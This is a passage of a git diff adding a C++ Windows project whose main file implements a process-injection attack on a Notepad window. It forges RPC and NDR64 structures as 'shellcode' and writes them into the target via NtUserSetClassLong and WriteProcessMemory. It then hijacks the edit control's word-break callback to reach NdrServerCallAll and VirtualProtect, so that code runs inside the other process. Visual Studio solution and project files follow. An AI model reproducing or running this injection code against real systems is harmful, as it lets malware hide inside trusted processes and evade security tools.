RpcInterfaceInformation[0xA]->pSyntaxInfo + 1,
|
||||
&v2);
|
||||
}
|
||||
*/
|
||||
// 不可以用NdrServerCall2的原因是需要调用PerformRpcInitialization。
|
||||
const auto hRpcRt4 = LoadLibraryA("rpcrt4.dll");
|
||||
|
||||
const auto theNdrServerCallAllAddress =
|
||||
(uint64_t)GetProcAddress(hRpcRt4, "NdrServerCallAll");
|
||||
|
||||
const auto theI_RpcFreePipeBufferAddr =
|
||||
GetProcAddress(hRpcRt4, "I_RpcFreePipeBuffer");
|
||||
const auto theVirtualProtectAddr = (void*)VirtualProtect;
|
||||
|
||||
// PRPC_MESSAGE->Handle
|
||||
/*
|
||||
const auto fnInitRpcMessageHandle = [&](void* localStartAddress, void*
|
||||
remoteStartAddress, void* callAddress) -> void { static const auto maxSize =
|
||||
sizeof(RPC_MESSAGE) + 0x100 + 0x80 + 0x80; const auto tempBuffer = new
|
||||
char[maxSize]; memset(tempBuffer, 0x0, maxSize); const auto
|
||||
remote_notepad_rpc_Message = (PRPC_MESSAGE)((uint64_t)remoteStartAddress);
|
||||
const auto remote_notepad_rpc_Message_handle =
|
||||
(void*)((uint64_t)remote_notepad_rpc_Message + sizeof(RPC_MESSAGE));
|
||||
//这里会是RPC_MESSAGE开头
|
||||
|
||||
const auto remote_notepad_rpc_RpcInterfaceInformation =
|
||||
(void*)((uint64_t)remote_notepad_rpc_Message_handle + 0x100); const auto
|
||||
remote_notepad_rpc_RpcInterfaceInformation_DisPathTable =
|
||||
(void*)((uint64_t)remote_notepad_rpc_RpcInterfaceInformation + 0x80); const
|
||||
auto remote_notepad_rpc_RpcInterfaceInformation_DisPathTable_Dispath =
|
||||
(void*)((uint64_t)remote_notepad_rpc_RpcInterfaceInformation_DisPathTable +
|
||||
0x80);
|
||||
|
||||
const auto local_rpc_Message = (PRPC_MESSAGE)((uint64_t)tempBuffer);
|
||||
const auto local_rpc_Message_handle =
|
||||
(void*)((uint64_t)local_rpc_Message +
|
||||
sizeof(RPC_MESSAGE));//这里会是RPC_MESSAGE开头,很重要,给后面的local_rpc_dispath_table_dispath_table用
|
||||
|
||||
const auto local_rpc_RpcInterfaceInformation =
|
||||
(void*)((uint64_t)local_rpc_Message_handle + sizeof(RPC_MESSAGE) + 0x100);
|
||||
const auto local_rpc_RpcInterfaceInformation_DisPathTable =
|
||||
(void*)((uint64_t)local_rpc_RpcInterfaceInformation + 0x80); const auto
|
||||
local_rpc_RpcInterfaceInformation_DisPathTable_Dispath =
|
||||
(void*)((uint64_t)local_rpc_RpcInterfaceInformation_DisPathTable + 0x80);
|
||||
|
||||
local_rpc_Message->ProcNum = 0; //这里填0
|
||||
local_rpc_Message->RpcInterfaceInformation =
|
||||
(void**)remote_notepad_rpc_RpcInterfaceInformation;
|
||||
local_rpc_Message->Handle = (void*)remote_notepad_rpc_Message_handle;
|
||||
// 填第一次Message->Handle + 0x80的地址 :
|
||||
*(uint64_t*)((uint64_t)local_rpc_Message_handle + 0x80) =
|
||||
theNdrServerCallAllAddress;
|
||||
|
||||
auto wtf = ((uint64_t)local_rpc_RpcInterfaceInformation + 0xA0 *
|
||||
sizeof(void*));
|
||||
*(uint32_t*)(wtf + 0x0) = 0x80;//长度
|
||||
*(uint64_t*)(wtf + 0x8) =
|
||||
(uint64_t)remote_notepad_rpc_RpcInterfaceInformation_DisPathTable;//dispathPath(也是一个数组)
|
||||
|
||||
auto local_rpc_dispath_table =
|
||||
(uint64_t*)(local_rpc_RpcInterfaceInformation_DisPathTable);
|
||||
*(uint32_t*)((uint64_t)local_rpc_dispath_table + 0x0) = 1;//
|
||||
dispath_count
|
||||
*(uint64_t*)((uint64_t)local_rpc_dispath_table + 0x4) =
|
||||
(uint64_t)remote_notepad_rpc_RpcInterfaceInformation_DisPathTable_Dispath;
|
||||
// dispath_dispath
|
||||
|
||||
auto local_rpc_dispath_table_dispath_table =
|
||||
(uint64_t*)(local_rpc_RpcInterfaceInformation_DisPathTable_Dispath);
|
||||
*(uint64_t*)((uint64_t)local_rpc_dispath_table_dispath_table + 0x0) =
|
||||
(uint64_t)callAddress; memcpy(tempBuffer, local_rpc_Message, maxSize);
|
||||
// +8的原因是里面会读一次RCX这个傻逼指针,所以+8是给RCX指针的 32位给4
|
||||
auto baseIndex = (uint64_t)localStartAddress + 0x8 -
|
||||
(uint64_t)TheTagClsAddress; for (size_t i = 0; i < maxSize; i++)
|
||||
{
|
||||
NtUserSetClassLong(hwndMessage, i + baseIndex, tempBuffer[i],
|
||||
FALSE);
|
||||
}
|
||||
delete[] tempBuffer;
|
||||
};
|
||||
*/
|
||||
// const auto localrpcMessage = (PRPC_MESSAGE)((uint64_t)TheTagClsAddress +
|
||||
// 0x8); const auto remoterpcMessage =
|
||||
// (PRPC_MESSAGE)((uint64_t)TheNotepadTagClsAddress + 0x8);
|
||||
// +8的原因是里面会读一次RCX这个傻逼指针,所以+8是给RCX指针的 32位给4
|
||||
|
||||
/*
|
||||
fnInitRpcMessageHandle((void*)((uint64_t)TheTagClsAddress),
|
||||
(void*)((uint64_t)TheNotepadTagClsAddress),
|
||||
(void*)theNdrServerCallAllAddress);
|
||||
*/
|
||||
|
||||
// const auto local_rpc_Message_handle22 = (void*)((uint64_t)localrpcMessage
|
||||
// + sizeof(RPC_MESSAGE));
|
||||
// 现在再填一次local_rpc_Message_handle
|
||||
// fnInitRpcMessageHandle((void*)localrpcMessage->Handle,
|
||||
// (void*)remoterpcMessage, (void*)theVirtualProtectAddr);
|
||||
// +0指向自己 +8的地方
|
||||
// *(uint64_t*)((uint64_t)TheTagClsAddress + 0x0) =
|
||||
// (uint64_t)localrpcMessage;
|
||||
|
||||
/*
|
||||
char tempBuffer[8];
|
||||
memcpy(tempBuffer, &remoterpcMessage, 8);
|
||||
for (size_t i = 0; i < 8; i++)
|
||||
{
|
||||
NtUserSetClassLong(hwndMessage, i, tempBuffer[i], FALSE);
|
||||
}
|
||||
*/
|
||||
const auto allocShellcodeSize = 2048;
|
||||
char* tmpShellcode = (char*)malloc(allocShellcodeSize);
|
||||
memset(tmpShellcode, 0, allocShellcodeSize);
|
||||
char* editShellcode = (char*)malloc(allocShellcodeSize);
|
||||
memset(editShellcode, 0, allocShellcodeSize);
|
||||
// I_RpcFreePipeBuffer(Message)
|
||||
|
||||
// Message = EditControlPtr
|
||||
// Message->Handle = Shellcode
|
||||
// *Message->Handle = Shellcode
|
||||
*(ULONG_PTR*)tmpShellcode = (ULONG_PTR)TheNotepadTagClsAddress;
|
||||
|
||||
// *Message->Handle + 0x80 = NdrServerCallAll
|
||||
*(ULONG_PTR*)(tmpShellcode + 0x80) = (ULONG_PTR)theNdrServerCallAllAddress;
|
||||
|
||||
#define REMOTE_CLS_ADDRESS(x) \
|
||||
((ULONG_PTR)(x) - (ULONG_PTR)tmpShellcode + \
|
||||
(ULONG_PTR)TheNotepadTagClsAddress)
|
||||
|
||||
// NdrServerCallAll(pRpcMsg)
|
||||
// pRpcMsg = Shellcode
|
||||
RPC_MESSAGE* RpcMsg0 = (RPC_MESSAGE*)tmpShellcode;
|
||||
RPC_SERVER_INTERFACE* RpcInterfaceInfo0 =
|
||||
(RPC_SERVER_INTERFACE*)(tmpShellcode + 0x88);
|
||||
MIDL_SERVER_INFO* RpcSrvInfo0 =
|
||||
(MIDL_SERVER_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE));
|
||||
PVOID* DispatchTable0 =
|
||||
(PVOID*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
|
||||
sizeof(MIDL_SERVER_INFO));
|
||||
MIDL_SYNTAX_INFO* SyntaxInfo0 =
|
||||
(MIDL_SYNTAX_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
|
||||
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID));
|
||||
MIDL_STUB_DESC* StubDesc0 =
|
||||
(MIDL_STUB_DESC*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
|
||||
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
|
||||
sizeof(MIDL_SYNTAX_INFO) * 2);
|
||||
ULONG_PTR* FmtStrOffset0 =
|
||||
(ULONG_PTR*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
|
||||
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
|
||||
sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC));
|
||||
NDR64_PROC_FORMAT* ProcStr0 =
|
||||
(NDR64_PROC_FORMAT*)(tmpShellcode + 0x88 +
|
||||
sizeof(RPC_SERVER_INTERFACE) +
|
||||
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
|
||||
sizeof(MIDL_SYNTAX_INFO) * 2 +
|
||||
sizeof(MIDL_STUB_DESC) + sizeof(ULONG_PTR));
|
||||
|
||||
//_NDR_PROC_CONTEXT Ndr+Proc
|
||||
DispatchTable0[0] = (PVOID)theNdrServerCallAllAddress;
|
||||
RpcSrvInfo0->DispatchTable =
|
||||
(SERVER_ROUTINE*)REMOTE_CLS_ADDRESS(DispatchTable0);
|
||||
|
||||
FmtStrOffset0[0] = (ULONG_PTR)REMOTE_CLS_ADDRESS(ProcStr0);
|
||||
(SyntaxInfo0 + 1)->FmtStringOffset =
|
||||
(USHORT*)REMOTE_CLS_ADDRESS(FmtStrOffset0);
|
||||
RpcSrvInfo0->pSyntaxInfo =
|
||||
(MIDL_SYNTAX_INFO*)REMOTE_CLS_ADDRESS(SyntaxInfo0);
|
||||
RpcSrvInfo0->pStubDesc = (MIDL_STUB_DESC*)REMOTE_CLS_ADDRESS(StubDesc0);
|
||||
RpcSrvInfo0->DispatchTable =
|
||||
(SERVER_ROUTINE*)REMOTE_CLS_ADDRESS(DispatchTable0);
|
||||
// RpcSrvInfo0->FmtStringOffset = (unsigned short*)0x1337;
|
||||
RpcSrvInfo0->ProcString = (PFORMAT_STRING)0xAAAA;
|
||||
|
||||
|
||||
RpcInterfaceInfo0->InterpreterInfo =
|
||||
(MIDL_SERVER_INFO*)REMOTE_CLS_ADDRESS(RpcSrvInfo0);
|
||||
RpcMsg0->RpcInterfaceInformation =
|
||||
(RPC_SERVER_INTERFACE*)REMOTE_CLS_ADDRESS(RpcInterfaceInfo0);
|
||||
RpcMsg0->ProcNum = 0;
|
||||
RpcMsg0->RpcFlags = 0x1000;
|
||||
|
||||
// rpcmsg0->Handle的handle已经在上面设置为TheNotepadTagClsAddress了.所以要在TheNotepadTagClsAddress
|
||||
// + 0x100的位置设置virtualprotect
|
||||
*(ULONG_PTR*)(tmpShellcode + 0x100) =
|
||||
(ULONG_PTR)VirtualProtect; // 为了通过Ndr64pServerUnMarshal最后的那一段
|
||||
//*(ULONG_PTR*)(tmpShellcode + 0x160) = (ULONG_PTR)tempVar;
|
||||
////为了通过Ndr64pServerUnMarshal最后的那一段
|
||||
|
||||
|
||||
auto calcOffset = 0x88 + sizeof(RPC_SERVER_INTERFACE) +
|
||||
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
|
||||
sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC) +
|
||||
sizeof(ULONG_PTR) + sizeof(NDR64_PROC_FORMAT);
|
||||
// auto remoteCallAddr = REMOTE_CLS_ADDRESS(tmpShellcode + calcOffset);
|
||||
//*(ULONG_PTR*)(tmpShellcode + calcOffset) = remoteCallAddr;
|
||||
// calcOffset += sizeof(ULONG_PTR);
|
||||
|
||||
/*
|
||||
* https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/mulsyntx.cxx#L1152
|
||||
if ( pParamFlags->IsIn ||
|
||||
(pParamFlags->IsReturn && !pNdr64Flags->HasComplexReturn) ||
|
||||
pParamFlags->IsPipe )
|
||||
continue;
|
||||
*/
|
||||
std::vector<_NDR64_PARAM_FORMAT*> theParamTypeAddress;
|
||||
// type的指针,这个type会读两次 **typeaddr
|
||||
auto fnSetNdr64Param = [&]() {
|
||||
static auto currentCopyCount = 0;
|
||||
auto ndr64Param = (_NDR64_PARAM_FORMAT*)(tmpShellcode + calcOffset);
|
||||
ndr64Param->Attributes.IsIn = true;
|
||||
ndr64Param->Attributes.IsBasetype = true;
|
||||
// auto typeAddress = tmpShellcode + calcOffset;
|
||||
// theParamTypeAddress.push_back(typeAddress);
|
||||
// ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress);
|
||||
ndr64Param->StackOffset = currentCopyCount * 4;
|
||||
currentCopyCount += 1;
|
||||
// 这个没用,因为不走IsSimpleRef,simpleref那段内存是read only没办法赋值
|
||||
// https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/srvcall.cxx#L694C31-L694C43
|
||||
//*(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64;
|
||||
// calcOffset += sizeof(_NDR64_PARAM_FORMAT);
|
||||
theParamTypeAddress.push_back(ndr64Param);
|
||||
calcOffset += sizeof(_NDR64_PARAM_FORMAT);
|
||||
};
|
||||
|
||||
const auto virtualProtectParamSize = 8 * 2;
|
||||
for (size_t i = 0; i < virtualProtectParamSize / 4; i++) {
|
||||
fnSetNdr64Param();
|
||||
}
|
||||
auto paramsBuffer = tmpShellcode + calcOffset;
|
||||
// 设置参数
|
||||
RpcMsg0->Buffer = (void*)REMOTE_CLS_ADDRESS(paramsBuffer);
|
||||
RpcMsg0->BufferLength = virtualProtectParamSize; // virtualprotect的参数
|
||||
calcOffset += RpcMsg0->BufferLength;
|
||||
|
||||
// Make HandleType to 0
|
||||
ProcStr0->Flags = 1;
|
||||
ProcStr0->StackSize = virtualProtectParamSize;
|
||||
ProcStr0->NumberOfParams = RpcMsg0->BufferLength / 4;
|
||||
|
||||
|
||||
// const auto shellcodeAddress = tmpShellcode + calcOffset;
|
||||
// memcpy(shellcodeAddress, payload, sizeof(payload));
|
||||
// calcOffset += sizeof(payload);
|
||||
|
||||
// typedef LONG(NTAPI* FnNtUserMessageCall)(HWND hWnd, UINT msg, WPARAM
|
||||
// wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);
|
||||
// FnNtUserMessageCall NtUserMessageCall =
|
||||
// (FnNtUserMessageCall)GetProcAddress(LoadLibrary(L"win32u.dll"),
|
||||
// "NtUserMessageCall");
|
||||
//
|
||||
// 执行payload
|
||||
// 1.给回调设置参数为我们的payload
|
||||
// SendMessageA才生效,不知道为什么,否则会报60
|
||||
auto result1 =
|
||||
SendMessageA(hwndEdit, WM_SETTEXT, 0, (LPARAM)&TheNotepadTagClsAddress);
|
||||
// auto result1 = NtUserMessageCall(hwndEdit, WM_SETTEXT, 0,
|
||||
// (LPARAM)&TheNotepadTagClsAddress, 0, 0x2B1, 1);
|
||||
// 等完全输入完毕
|
||||
WaitForInputIdle(pi.hProcess, INFINITE);
|
||||
result1 = PostMessageA(hwndEdit, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0);
|
||||
|
||||
// ***这里有个限制 除非我是英文系统 否则会被格式为Utf-8导致不能用**
|
||||
// 我直接writememory让那个地方看起来像是英文系统
|
||||
auto emh = (PVOID)SendMessage(hwndEdit, EM_GETHANDLE, 0, 0);
|
||||
PVOID embuf;
|
||||
SIZE_T numOfWrite;
|
||||
ReadProcessMemory(pi.hProcess, emh, &embuf, sizeof(ULONG_PTR), &numOfWrite);
|
||||
WriteProcessMemory(pi.hProcess, embuf, &TheNotepadTagClsAddress, 8,
|
||||
&numOfWrite);
|
||||
//WriteProcessMemory(pi.hProcess, (char*)((uint64_t)embuf + 8), payload,
|
||||
// sizeof(payload), &numOfWrite);
|
||||
const auto shellcodeAddress = (uint64_t)embuf + 8;
|
||||
const auto virtualProtectReturnValue = shellcodeAddress;
|
||||
const auto editShellcodeLocation = shellcodeAddress + sizeof(uint64_t);
|
||||
|
||||
auto tempCover = (uint64_t)editShellcodeLocation;
|
||||
memcpy(paramsBuffer, &tempCover, 8);
|
||||
buildVirtualProtectShellCode(editShellcode,
|
||||
editShellcodeLocation,
|
||||
theNdrServerCallAllAddress,
|
||||
editShellcodeLocation,
|
||||
virtualProtectReturnValue);
|
||||
|
||||
WriteProcessMemory(pi.hProcess, (char*)((uint64_t)editShellcodeLocation), editShellcode,
|
||||
allocShellcodeSize, &numOfWrite);
|
||||
|
||||
// 这个地方是readonly的,如果直接传给virtualprotect会失败.所以也得放在编辑框里面
|
||||
/*
|
||||
auto oldProtectAddress = (uint64_t)REMOTE_CLS_ADDRESS(tmpShellcode +
|
||||
calcOffset); tempCover = (uint64_t)tmpShellcode + calcOffset;
|
||||
memcpy(paramsBuffer + 8 + 8 + 8, &oldProtectAddress, 8);
|
||||
calcOffset += sizeof(uint64_t);
|
||||
*(uint64_t*)tempCover = (uint64_t)REMOTE_CLS_ADDRESS((uint64_t)(tmpShellcode
|
||||
+ calcOffset)); calcOffset += sizeof(uint64_t);
|
||||
*/
|
||||
|
||||
for (auto ndr64Param : theParamTypeAddress) {
|
||||
auto typeAddress = tmpShellcode + calcOffset;
|
||||
ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress);
|
||||
calcOffset += sizeof(void*);
|
||||
|
||||
*(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64;
|
||||
calcOffset += sizeof(char);
|
||||
}
|
||||
for (size_t i = 0; i < allocShellcodeSize; i++) {
|
||||
NtUserSetClassLong(hwndMessage, i, tmpShellcode[i], FALSE);
|
||||
}
|
||||
|
||||
// 2.设置I_RpcFreePipeBuffer为回调地址
|
||||
// bp rpcrt4!I_RpcFreePipeBuffer
|
||||
result1 = PostMessageA(hwndEdit, EM_SETWORDBREAKPROC, 0,
|
||||
(LPARAM)theI_RpcFreePipeBufferAddr);
|
||||
|
||||
// 3. 激活
|
||||
result1 = PostMessageA(hwndEdit, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0);
|
||||
// 4. cleanup
|
||||
SendMessage(hwndEdit, EM_SETWORDBREAKPROC, 0, (LPARAM)NULL);
|
||||
|
||||
// SendMessageA(hwndEdit, WM_SETTEXT, 0, (LPARAM)INJPATH);
|
||||
// SendMessageW(hwndEdit, EM_SETWORDBREAKPROC, 0, (LPARAM)embuf.p);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main() { wWinMain(0, 0, 0, 0); }
|
||||
31
shit.sln
Normal file
31
shit.sln
Normal file
@@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.32802.440
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "shit", "shit.vcxproj", "{75C28BC1-B226-487A-9DAA-3E6C03894943}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{75C28BC1-B226-487A-9DAA-3E6C03894943}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{75C28BC1-B226-487A-9DAA-3E6C03894943}.Debug|x64.Build.0 = Debug|x64
|
||||
{75C28BC1-B226-487A-9DAA-3E6C03894943}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{75C28BC1-B226-487A-9DAA-3E6C03894943}.Debug|x86.Build.0 = Debug|Win32
|
||||
{75C28BC1-B226-487A-9DAA-3E6C03894943}.Release|x64.ActiveCfg = Release|x64
|
||||
{75C28BC1-B226-487A-9DAA-3E6C03894943}.Release|x64.Build.0 = Release|x64
|
||||
{75C28BC1-B226-487A-9DAA-3E6C03894943}.Release|x86.ActiveCfg = Release|Win32
|
||||
{75C28BC1-B226-487A-9DAA-3E6C03894943}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {6175F5C8-522A-4C38-91B0-5B3462BF20F1}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
163
shit.vcxproj
Normal file
163
shit.vcxproj
Normal file
@@ -0,0 +1,163 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{75c28bc1-b226-487a-9daa-3e6c03894943}</ProjectGuid>
|
||||
<RootNamespace>shit</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_WINDOWS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_WINDOWS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="framework.h" />
|
||||
<ClInclude Include="Resource.h" />
|
||||
<ClInclude Include="rpc.h" />
|
||||
<ClInclude Include="shit.h" />
|
||||
<ClInclude Include="targetver.h" />
|
||||
<ClInclude Include="teb_def.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="shit.cpp" />
|
||||
<ClCompile Include="sunday.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="shit.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="shit.ico" />
|
||||
<Image Include="small.ico" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
58
shit.vcxproj.filters
Normal file
58
shit.vcxproj.filters
Normal file
@@ -0,0 +1,58 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
